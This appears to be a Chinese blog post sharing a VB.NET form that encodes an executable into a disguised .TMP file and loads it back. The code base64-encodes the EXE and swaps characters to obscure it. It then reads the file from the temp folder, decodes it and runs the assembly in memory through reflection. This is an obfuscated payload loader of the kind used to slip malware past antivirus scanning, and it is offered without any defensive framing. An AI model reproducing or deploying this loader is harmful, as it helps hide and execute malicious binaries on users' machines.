VB.NET 代码释放TMP运行代码示例

VB.NET · 2023-12-27 · 183 人浏览
Imports System.IO
Imports System.Reflection

Public Class Form1
    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        '222221111232ds.TMP
        Dim path1 As String = Path.GetTempPath()
        Dim didi As String = path1 & "wocaonimade.TMP"
        Dim Pest As String = System.IO.File.ReadAllText(didi)
        Dim Payload As String = Pest.Replace(",", "B")
        Dim bin() As Byte = Convert.FromBase64String(Payload)
        Dim myAssebly As Assembly = System.Reflection.Assembly.Load(bin)
        myAssebly.EntryPoint.Invoke(Nothing, Nothing)
    End Sub

    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
        '读取1.exe文件数据
        Dim bytes = File.ReadAllBytes("1.exe")

        '将文件数据转换为十六进制字符串
        Dim hexString = BitConverter.ToString(bytes).Replace("-", String.Empty)

        '将十六进制字符串转换为base64编码
        Dim base64String = ToBase64String(hexString)

        '将大写字母替换为,号
        Dim output = base64String.Replace("B", ",")

        '写入到222.TMP文件
        File.WriteAllText("222.TMP", output)
    End Sub
    Public Function ToBase64String(hex As String) As String
        Dim bytesCount = hex.Length / 2
        Dim bytes(bytesCount - 1) As Byte
        For i = 0 To bytesCount - 1
            bytes(i) = Convert.ToByte(hex.Substring(i * 2, 2), 16)
        Next
        Return Convert.ToBase64String(bytes)
    End Function
End Class